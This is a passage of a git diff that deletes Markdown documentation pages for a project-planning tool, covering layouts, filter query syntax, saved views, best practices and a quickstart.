roadmap. You can zoom in to show one month at a time or, for a greater overview, you can zoom out to show a quarter of a year or a full year. - -1. In the top right of your roadmap, click {% octicon "search" aria-label="The zoom icon next to Month, Quarter, or Year" %}. - - ![Screenshot showing the menu items for a roadmap layout. The "Zoom" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/roadmap-zoom-button.png) - -1. Select either **Month**, **Quarter**, or **Year**. - -## Slicing by field values - -{% data reusables.projects.customize.slice-panel %} - -## Sorting by field values - -You can sort items by a field value. - -{% data reusables.projects.customize.sort %} - -## Grouping by field values - -You can group items by a custom field value. - -{% data reusables.projects.customize.group-fields %} - -## Showing the sum of a number field - -{% data reusables.projects.customize.sum %} diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-table-layout.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-table-layout.md deleted file mode 100644 index af1fc8f433c7..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-table-layout.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Customizing the table layout -shortTitle: Customizing tables -intro: 'You can use the table layout to build a spreadsheet using your project''s items, {% data variables.product.company_short %} metadata, and your custom fields.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects ---- - -## About the table layout - -{% data reusables.projects.about-table-layout %} - -For more information about changing a view to use the table layout, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view#changing-the-project-layout). - -## Showing and hiding fields - -You can show or hide a specific field. - -{% data reusables.projects.customize.show-hide-field %} - -You can also hide individual fields using the field headers. - -1. Next to the field you want to hide, click {% octicon "kebab-horizontal" aria-label="Status column options" %}. - ![Screenshot showing a field header. The menu icon is highlighted with an orange outline.](/assets/images/help/projects-v2/modify-field-menu.png) -1. Click **{% octicon "eye-closed" aria-hidden="true" %} Hide field**. - -## Grouping by field values - -You can group items by a custom field value. {% data reusables.projects.customize.update-status %} - -{% data reusables.projects.customize.group-fields %} - -## Slicing by field values - -{% data reusables.projects.customize.slice-panel %} - -## Reordering fields - -You can change the order of fields. - -1. Click the field header. - - ![Screenshot showing three field headers. One of the headers is highlighted with an orange outline.](/assets/images/help/projects-v2/select-field-header.png) - -1. While continuing to click, drag the field to the required location. - -## Reordering rows - -You can change the order of rows. - -1. Click the number at the start of the row. - - ![Screenshot showing three rows on a table layout. One of the row numbers is highlighted with an orange outline.](/assets/images/help/projects-v2/select-row-number.png) - -1. While continuing to click, drag the row to the required location. - -## Sorting by field values - -You can sort items by a field value. - -{% data reusables.projects.customize.sort %} - -## Showing the sum of a number field - -{% data reusables.projects.customize.sum %} diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md deleted file mode 100644 index 3243957bc50a..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: 'Filtering {% data variables.projects.projects_v2 %}' -intro: Use filters to choose which items appear in your project's views. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/filtering-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -You can customize which items appear in your views using filters for item metadata, such as assignees and the labels applied to issues, and by the fields in your project. You can combine filters and save them as views. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views). - -To filter a view, click {% octicon "filter" aria-label="Filter by keyword or by field" %} and start typing the fields and values you would like to filter for. As you type, possible values will appear. You can also open the project command palette, by pressing {% data variables.projects.command-palette-shortcut %}, and type "Filter by" to choose from the available filters. - -![Screenshot of "Mona's project". A field labeled "Filter by keyword or by field" is highlighted with an orange outline.](/assets/images/help/projects-v2/filter-example.png) - -In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again. - -Using multiple filters will act as a logical AND filter. For example, `label:bug status:"In progress"` will return items with the `bug` label and the "In progress" status. You can also provide multiple values for the same field to act as a logical OR filter. For example, `label:bug,support` will return items with either the `bug` or `support` labels. {% data variables.product.prodname_projects_v2 %} does not currently support logical OR filters across multiple fields. - -The same filters are available for charts you create using insights for {% data variables.product.prodname_projects_v2 %}, allowing you to filter the data used to create your charts. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects). - -When you filter a view and then add an item, the filtered metadata will be applied to new item. For example, if you're filtering by `status:"In progress"` and you add an item, the new item will have its status set to "In progress." - -You can use filters to produce views for very specific purposes. For example, you could use `assignee:@me status:todo last-updated:5days` to create a view of all work assigned to the current user, with the "todo" status, that hasn't been updated in the last five days. You could create a triage view by using a negative filter, such as `no:label no:assignee repo:octocat/game`, which would show items without a label and without an assignee that are located in the `octocat/game` repository. - -## Filtering for fields - -| Qualifier | Example -| ---------- | ------------- -| assignee:USERNAME | **assignee:octocat** will show items assigned to @octocat. -| label:LABEL | **label:bug** will show items with the "bug" label applied. -| field:VALUE | **status:done** will show items with the "status" field set to "done." -| reviewers:USERNAME | **reviewers:octocat** will show items that have been reviewed by @octocat. -| milestone:"MILESTONE" | **milestone:"QA release"** will show items assigned to the "QA release" milestone. - -## Combining filters - -You can create filters for multiple fields. Your view will show items that match all filters. - -| Qualifier | Example -| ---------- | ------------- -|assignee:USERNAME field:VALUE | **assignee:octocat priority:1** will show items assigned to @octocat that have a priority of **1**. - -You can also filter for multiple values from the same field. If you separate the values with commas, your view will show items that match any of the provided values. - -| Qualifier | Example -| ---------- | ------------- -|assignee:USERNAME,USERNAME | **assignee:octocat,stevecat** will show items assigned to either @octocat or @stevecat. - -To filter for multiple values from the same field but show items that match all of the provided values, you can repeat the qualifier for each value. - -| Qualifier | Example -| ---------- | ------------- -|assignee:USERNAME assignee:USERNAME | **assignee:octocat assignee:stevecat** will show items that are assigned to both @octocat and @stevecat. - -You can also combine filters that match some and match all items. - -| Qualifier | Example -| ---------- | ------------- -|field:VALUE,VALUE assignee:USER assignee:USER | **label:bug,onboarding assignee:octocat assignee:stevecat** will show items that have either the bug or onboarding labels but are assigned to both @octocat and @stevecat. - -## Negating a filter - -You can invert any filter, including combinations, by prefixing with a hyphen. - -| Qualifier | Example -| ---------- | ------------- -|-assignee:USERNAME | **-assignee:octocat** will not show any items assigned to @octocat. -|-field:VALUE | **-status:done** will not show any items with a status of "done." -|-field:VALUE,VALUE | **-priority:1,2** will not show any items with a priority of either 1 or 2. - -## Filtering for items that have a value - -You can use `has:` to filter for items that have a value - -| Qualifier | Example -| ---------- | ------------- -|has:assignee | **has:assignee** will show items with an assignee. -|has:label | **has:label** will show items with a label. -|has:FIELD | **has:priority** will show items with a priority field value. - -## Filtering for items that are missing a value - -You can use `no:` to filter for items that are missing a value - -| Qualifier | Example -| ---------- | ------------- -|no:assignee | **no:assignee** will show any unassigned items. -|no:reviewers | **no:reviewers** will show pull requests that do not have a reviewer. -|no:FIELD | **no:priority** will show items with an empty priority field. - -You can also prefix a hyphen to negate this behavior and only return items that have a value. - -| Qualifier | Example -| ---------- | ------------- -|-no:assignee | **-no:assignee** will only show items that are assigned. -|-no:FIELD | **-no:priority** will only show items that have a value in the priority field. - -## Filtering by item location - -Use the `repo` qualifier to filter for items in a particular repository. - -| Qualifier | Example -| ---------- | ------------- -|repo:OWNER/REPO | **repo:octocat/game** will items in the "octocat/game" repository. - -## Filtering for item state or item type - -You can use the `is` qualifier to filter for particular types of item or items in particular states. - -| Qualifier | Example -| ---------- | ------------- -|is:STATE | **is:open** will show open issues and pull requests. -| | **is:closed** will show closed issues and pull requests. -| | **is:merged** will show any merged pull requests. -|is:TYPE | **is:issue** will show only issues. -| | **is:pr** will show only pull requests. -| | **is:draft** will show draft issues and draft pull requests. -| | **is:issue is:open** will show open issues. - -## Filtering by close reason - -You can filter closed items by their close reason. - -| Qualifier | Example -| ---------- | ------------- -|reason:CLOSE REASON | **reason:completed** will show items closed because they were completed. -| | **reason:"not planned"** will show closed items with the "not planned" reason. -| | **reason:reopened** will show items that have been reopened after previously being closed. - -## Filtering for when an item was last updated - -The `updated` filter field provides a more powerful and flexible way to filter items based on their last modification date. - -| Qualifier | Example -| ---------- | ------------- -| updated:NUMBERdays | **updated:@today** will show items updated today. -| | **updated:@today-1d** will show items updated 1 day ago. -| | **updated:>@today-1w** will show items last updated seven or more days ago. -| | **updated:>@today-30d** will show items last updated thirty or more days ago. -| | **-updated:@today** excludes items updated today. - -{% data reusables.projects.last-updated-explanation %} - -## Filtering number, date, and iteration fields - -You can use `>`, `>=`, `<`, and `<=` to compare number, date, and iteration fields. Dates should be provided in the `YYYY-MM-DD` format. - -| Qualifier | Example -| ---------- | ------------- -| field:>VALUE | **priority:>1** will show items with a priority greater than 1. -| field:>=VALUE | **date:>=2022-06-01** will show items with a date of "2022-06-01" or later. -| field:<VALUE | **iteration:<"Iteration 5"** will show items with an iteration before "Iteration 5." -| field:<=VALUE | **points:<=10** will show items with 10 or less points. - -You can also use `..` to filter for an inclusive range. When working with a range, `*` can be supplied as a wildcard operator. - -| Qualifier | Example -| ---------- | ------------- -| field:VALUE..VALUE | **priority:1..3** will show items with a priority of 1, 2, or 3. -| | **date:2022-01-01..2022-12-31** will show items from the year 2022. -| | **points:\*..10** will show items with an points value of anything up to and including 10. -| | **iteration:"Iteration 1..Iteration 4"** will show items in "Iteration 1", "Iteration 2", "Iteration 3", and "Iteration 4." - -## Filtering assignees and reviewers using keywords - -You can use the `@me` keyword to represent yourself in a filter. - -| Qualifier | Example -| ---------- | ------------- -| field:@me | **assignee:@me** will show items assigned to the signed-in user. -| | **-reviewers:@me** will show items that have not been reviewed by the signed-in user. - -## Filtering iteration and date fields using keywords - -You can use the `@previous`, `@current`, and `@next` keywords to filter for iterations relative to the current iteration. You can also use `@today` to filter for the current day. - -| Qualifier | Example -| ---------- | ------------- -| field:@keyword | **iteration:@current** will show items assigned to the current iteration. -| | **iteration:@next** will show items assigned to the next iteration. -| field:@today | **date:@today** will show items with their date set to the current day. - -You can also use `>`, `>=`, `<`, `<=`, `+`, `-`, and `..` ranges with keywords. - -| Qualifier | Example -| ---------- | ------------- -| field:@keyword..@keyword+n | **iteration:@current..@current+3** will show items assigned to the current iteration and the next three iterations. -| | **date:@today..@today+7** will show items with a date set to today or the next seven days. -| field:<@keyword | **iteration:<@current** will show items assigned to any iteration before the current iteration. -| field:>=@keyword | **date:>=@today** will show items with a date set to today or later. - -## Filtering by text fields - -You can filter by specific text fields or use a general text filter across all text fields and titles. When filtering with text that contains spaces or special characters, enclose your text in `"` or `'` quotation marks. - -| Qualifier | Example -| ---------- | ------------- -| field:"TEXT" | **title:"Bug fix"** will show items with titles that exactly match "Bug fix". -| field:TEXT | **note:complete** will show items with a note text field that exactly match "complete". -| TEXT | **API** will show items with "API" in the title or any other text field. -| field:TEXT TEXT | **label:bug rendering** will show items with the "bug" label and with "rendering" in the title or any other text field. - -For general text search across all text fields and titles, matches are based only on the beginning of a word, not any part of it. -For example, if the issue title is **"Document full-text search"**: - -* **Matches**: "Doc", "full", "search" -* **Doesn't match**: "cument", "ext", "arch" - -This approach helps keep general text search more precise and relevant. - -{% ifversion projects-v2-wildcard-text-filtering %} - -You can also use a * as a wildcard. - -| Qualifier | Example -| ---------- | ------------- -| field:*TEXT* | **label:*bug*** will show items with a label that contains the word "bug." -| field:TEXT* | **title:API*** will show items with a title that begins with "API." -| field:*TEXT | **label:*support** will show items with a label that ends with "support." - -{% endif %} - -{% ifversion issue-types %} - -## Filtering by issue type - -If your organization uses issue types, you can filter for particular types. - -{% data reusables.issues.release-stage %} - -| Qualifier | Example -| ---------- | ------------- -| type:"ISSUE TYPE" | **type:"bug"** will show issues with the "bug" type. - -{% endif %} - -{% ifversion sub-issues %} - -## Filtering by parent issue - -You can filter your sub-issues by their parent issue. - -{% data reusables.issues.release-stage %} - -| Qualifier | Example -| ---------- | ------------- -| parent-issue:OWNER/REPO#ISSUE NUMBER | **parent-issue:octocat/game#4** will show issues with issue #4 in octocat/game as their parent issue. - -{% endif %} diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md deleted file mode 100644 index 31c5f5e3de7d..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: 'Customizing views in your {% data variables.projects.project_v2 %}' -shortTitle: Customizing views -intro: 'You can create multiple views to look at your project from different angles, deciding which items to show and how to present them.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /changing-the-layout-of-a-view - - /customizing-the-table-layout - - /customizing-the-board-layout - - /customizing-the-roadmap-layout - - /filtering-projects - - /managing-your-views -allowTitleToDifferFromFilename: true ---- - diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md deleted file mode 100644 index 948830ead31a..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Managing your views -intro: 'Learn how to create, save, and manage your project views.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects ---- - - -## Creating a project view - -Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. - -For example, you can have: -* A view that shows all items not yet started (filter on "Status"). -* A view that shows the workload for each team (group by a custom "Team" field). -* A view that shows the items with the earliest target ship date (sort by a date field). - -To add a new view: - -{% data reusables.projects.new-view %} - -The new view is automatically saved. - -## Duplicating a view - -You can duplicate an existing view and use it as a base to make further changes. - -1. Switch to the view you want to duplicate. -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "versions" aria-hidden="true" %} Duplicate view**. - -## Saving changes to a view - -When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. - -![Screenshot of a tab for a view labeled "Issues by priority." Next to the view's name, a dropdown icon is marked by a blue dot.](/assets/images/help/projects/unsaved-changes.png) - -If you don't want to save the changes, you can ignore this indicator. No one else will see your changes. - -{% data reusables.projects.save-view %} - -## Reordering saved views - -To change the order of the tabs that contain your saved views, click and drag a tab to a new location. The new tab order is automatically saved. - -## Renaming a saved view - -You can rename your saved views. The name change is automatically saved. - -1. Switch to the view you want to rename. -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "pencil" aria-hidden="true" %} Rename view**. -1. Type the new name for your view. -1. To save your changes, press Return. - -## Deleting a saved view - -1. Switch to the view you want to delete. -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "trash" aria-hidden="true" %} Delete view**. diff --git a/content/issues/planning-and-tracking-with-projects/index.md b/content/issues/planning-and-tracking-with-projects/index.md deleted file mode 100644 index 1d0a325ea07b..000000000000 --- a/content/issues/planning-and-tracking-with-projects/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'Planning and tracking with {% data variables.product.prodname_projects_v2 %}' -shortTitle: '{% data variables.product.prodname_projects_v2 %}' -intro: 'Build adaptable projects to track your work on {% data variables.product.company_short %}.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /learning-about-projects - - /creating-projects - - /managing-items-in-your-project - - /understanding-fields - - /customizing-views-in-your-project - - /automating-your-project - - /viewing-insights-from-your-project - - /managing-your-project -allowTitleToDifferFromFilename: true -redirect_from: - - /issues/trying-out-the-new-projects-experience ---- - -A project is an adaptable collection of items that you can view as a table, a kanban board, or a roadmap and that stays up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you note down. - -You can create and customize multiple views by filtering, sorting, and grouping issues and pull requests, visualize work with configurable charts, and add custom fields to track metadata specific to your team. Rather than enforcing a specific methodology, a project provides flexible features you can customize to your team’s needs and processes. diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md deleted file mode 100644 index 1ad02978ba0b..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 'About {% data variables.product.prodname_projects_v2 %}' -intro: '{% data variables.product.prodname_projects_v2 %} is an adaptable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/about-projects -type: overview -topics: - - Projects ---- - -## About {% data variables.product.prodname_projects_v2 %} - -A project is an adaptable spreadsheet, task-board, and road map that integrates with your issues and pull requests on {% data variables.product.company_short %} to help you plan and track your work effectively. You can create and customize multiple views by filtering, sorting, grouping your issues and pull requests, visualize work with configurable charts, and add custom fields to track metadata specific to your team. Rather than enforcing a specific methodology, a project provides flexible features you can customize to your team’s needs and processes. - -To get started and create a project, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project). To learn more about the different layouts, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view). - -### Staying up-to-date - -Your projects are built from the issues and pull requests you add, creating direct references between your project and your work. Information is synced automatically to your project as you make changes, updating your views and charts. This integration works both ways, so that when you change information about a pull request or issue in your project, the pull request or issue reflects that information. For example, change an assignee in your project and that change is shown in your issue. You can take this integration even further, group your project by assignee, and make changes to issue assignment by dragging issues into the different groups. - -To learn more about managing items in your project, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/editing-items-in-your-project). - -### Adding metadata to your items - -You can use custom fields to add metadata to your issues, pull requests, and draft issues and build a richer view of item attributes. You’re not limited to the built-in metadata (assignee, milestone, labels, etc.) that currently exists for issues and pull requests. For example, you can add the following metadata as custom fields: - -* A date field to track target ship dates. -* A number field to track the complexity of a task. -* A single select field to track whether a task is Low, Medium, or High priority. -* A text field to add a quick note. -* An iteration field to plan work week-by-week, including support for breaks. - -To learn more about the different fields you can add to a project, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields). - -### Automating your projects - -There are a number of ways you can add automation to your project. Built-in workflows allow you to automatically set fields when items are added or changed, and you can also configure your project to automatically archive items when they meet certain criteria and automatically add items from a repository when they match set criteria. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations). - -You can also use the GraphQL API and {% data variables.product.prodname_actions %} to take even greater control of your project. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). - -### Viewing your project from different perspectives - -Quickly answer your most pressing questions by tailoring your project view to give you the information you need. You can save these views, allowing you to quickly return to them as needed and make them available to your team. Views not only let you scope down the items listed but also offer three different layout options. - -You can view your project as a high-density table layout, as a kanban board, or a timeline-style roadmap. For more information about the different layout options, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view). diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md deleted file mode 100644 index 20cc2ed56fa8..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'Best practices for {% data variables.product.prodname_projects_v2 %}' -intro: Learn tips for managing your projects. -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects -type: overview -topics: - - Projects - - Issues - - Project management ---- - -You can use {% data variables.product.prodname_projects_v2 %} to manage your work on {% data variables.product.company_short %}, where your issues and pull requests live. Read on for tips to manage your projects efficiently and effectively. For more information about {% data variables.product.prodname_projects_v2 %}, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -## Break down large issues into smaller issues - -Breaking a large issue into smaller issues makes the work more manageable and enables team members to work in parallel. It also leads to smaller pull requests, which are easier to review. - -To track how smaller issues fit into the larger goal, milestones, or labels. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones) and [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels). - -## Communicate - -Issues and pull requests include built-in features to let you easily communicate with your collaborators. Use @mentions to alert a person or entire team about a comment. Assign collaborators to issues to communicate responsibility. Link to related issues or pull requests to communicate how they are connected. - -## Make use of the description{% ifversion projects-v2-status-updates %}, README, and status updates{% else %} and README{% endif %} - -Use your project's description and README to share information about the project. - -For example: - -* Explaining the purpose of the project. -* Describing the project views and how to use them. -* Including relevant links and people to contact for more information. - -Project READMEs support Markdown which allows you to use images and advanced formatting such as links, lists, and headers. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project). - -{% ifversion projects-v2-status-updates %} - -You can also share high-level updates with other users of your project by posting status updates. Status updates allow you to mark the project with a status, such as "On track" or "At risk", set start and target dates, and share written updates with your team. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/sharing-project-updates). - -{% endif %} - -## Use views - -Use project views to look at your project from different angles. - -For example: - -* Filter by status to view all un-started items -* Group by a custom priority field to monitor the volume of high priority items -* Sort by a custom date field to view the items with the earliest target ship date - -For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view). - -## Have a single source of truth - -To prevent information from getting out of sync, maintain a single source of truth. For example, track a target ship date in a single location instead of spread across multiple fields. Then, if the target ship date shifts, you only need to update the date in one location. - -{% data variables.product.prodname_projects_v2 %} automatically stay up to date with {% data variables.product.company_short %} data, such as assignees, milestones, and labels. When one of these fields changes in an issue or pull request, the change is automatically reflected in your project. - -## Use automation - -You can automate tasks to spend less time on busy work and more time on the project itself. The less you need to remember to do manually, the more likely your project will stay up to date. - -{% data variables.product.prodname_projects_v2 %} offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done". You can also configure built-in workflows to automatically archive items when they meet certain criteria and to automatically add items from a repository when they match a filter. - -Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. For example, to keep track of pull requests awaiting review, you can create a workflow that adds a pull request to a project and sets the status to "needs review"; this process can be automatically triggered when a pull request is marked as "ready for review." - -* For more information about the built-in workflows, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations). -* For more information about automatically archiving items, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically). -* For more information about automatically adding items, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically). -* For an example workflow, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). -* For more information about the API, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects). -* For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions). - -## Use different field types - -Take advantage of the various field types to meet your needs. - -Use an iteration field to schedule work or create a timeline. You can group by iteration to see if items are balanced between iterations, or you can filter to focus on a single iteration. Iteration fields also let you view work that you completed in past iterations, which can help with velocity planning and reflecting on your team's accomplishments. Iteration fields also support breaks to show when you and your team are taking time away from their iterations. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields). - -Use a single select field to track information about a task based on a preset list of values. For example, track priority or project phase. Since the values are selected from a preset list, you can easily group or filter to focus on items with a specific value. - -For more information about the different field types, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields). diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/finding-your-projects.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/finding-your-projects.md deleted file mode 100644 index 5344258518b7..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/finding-your-projects.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: 'Finding your {% data variables.projects.projects_v2 %}' -intro: 'Learn how to locate projects in your account, organizations, repositories, and teams.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Projects ---- - -## Browsing all of your projects - -You can browse all of your projects, regardless of where they are located. You can see the projects you have recently viewed and the projects you have created, and apply your own filters. - -1. In the top left of any page, click {% octicon "three-bars" aria-label="Open global navigation menu" %} to open the global navigation menu. -1. In the menu, click **{% octicon "table" aria-hidden="true" %} Projects**. -{% data reusables.projects.index-select %} - -## Finding an organization's projects - -You can view and filter all the projects owned by an organization that you have access to. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -1. Under the organization name, click **{% octicon "table" aria-hidden="true" %} Projects**. -{% data reusables.projects.index-select %} - -## Finding projects owned by your personal account - -You can view and filter projects that you have created under your personal account. - -{% data reusables.profile.access_profile %} -1. On your profile, click **{% octicon "table" aria-hidden="true" %} Projects**. -{% data reusables.projects.index-select %} - -## Finding projects linked to a repository - -Repositories can be linked to organization-level and user-level projects. You can browse and filter the projects that are linked to a specific repository. For more information on linking projects to a repository, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository). - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of your repository. -1. Click **{% octicon "table" aria-hidden="true" %} Projects**. - - ![Screenshot showing a repository's tabs. The "Projects" tab is highlighted with an orange outline.](/assets/images/help/projects-v2/repo-tab.png) - -{% data reusables.projects.index-select %} - -## Finding projects linked to a team - -You can also link a project to specific teams in an organization and then browse and filter the projects that are associated with a particular team. For more information on linking projects, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -1. Click **{% octicon "project" aria-hidden="true" %} Projects**. - - ![Screenshot of the main page for a team. In the horizontal navigation bar, the "Projects" tab is outlined in dark orange.](/assets/images/help/organizations/team-project-board-button.png) - -{% data reusables.projects.index-select %} - -## Syntax for filtering a list of projects - -You can combine filters and even search project titles by including text. For example, `is:open creator:octocat game` will return open projects, created by the @octocat user, with the word "game" in the project title. You can use the search qualifiers in the following table to narrow down your search for a project. - -| Qualifier | Explanation -| ---------- | ------------- -| `is:open` | Returns projects that are currently open. | -| `is:closed` | Returns projects that are currently closed. | -| `is:template` | Returns projects that are marked as a template. | -| `is:private` | Returns projects are set to private visibility. | -| `is:public` | Returns projects are set to public visibility. | -| `creator:USERNAME` | Returns projects created by USERNAME. For example, `creator:octocat` will return projects created by @octocat. | - -You can also change how the projects are ordered. - -| Qualifier | Explanation -| ---------- | ------------- -| `sort:title-asc` | Sort by project title. | -| `sort:updated-asc` or `sort:updated-desc` | Sort by when the project was last updated. | -| `sort:created-asc` or `sort:created-desc` | Sort by when the project was created. | diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md deleted file mode 100644 index cd5f835d6c1c..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Learning about {% data variables.product.prodname_projects_v2 %}' -intro: 'Learn about {% data variables.product.prodname_projects_v2 %} and how to make the very best of this powerful tool.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /about-projects - - /quickstart-for-projects - - /best-practices-for-projects - - /finding-your-projects - - /sharing-project-updates -allowTitleToDifferFromFilename: true ---- diff --git a/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md b/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md deleted file mode 100644 index 9aaf2397e201..000000000000 --- a/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: 'Quickstart for {% data variables.product.prodname_projects_v2 %}' -intro: 'Experience the speed, flexibility, and customization of {% data variables.product.prodname_projects_v2 %} by creating a project in this interactive guide.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/quickstart -type: quick_start -topics: - - Projects ---- - -## Introduction - -This guide demonstrates how to use {% data variables.product.prodname_projects_v2 %} to plan and track work. In this guide, you will create a new project and add a custom field to track priorities for your tasks. You'll learn how to create saved views that help you communicate priorities and progress with your collaborators. You'll also set up built-in workflows to manage the items in your project. - -## Prerequisites - -You can either create an organization project or a user project. To create an organization project, you need a {% data variables.product.prodname_dotcom %} organization. For more information about creating an organization, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - -In this guide, you will add existing issues from repositories owned by your organization (for organization projects) or by you (for user projects) to your new project. For more information about creating issues, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -## Creating a project - -First, create an organization project or a user project. - -### Creating an organization project - -{% data reusables.projects.create-project %} - -### Creating a user project - -{% data reusables.projects.create-user-project %} - -## Setting your project description and README - -{% data reusables.projects.project-description %} - -## Adding issues to your project - -Next, add a few issues to your project. - -{% data reusables.projects.add-item-via-paste %} - -Repeat the above steps a few times to add multiple issues to your project. - -For more information and other ways to add issues to your project, or about other items you can add to your project, see 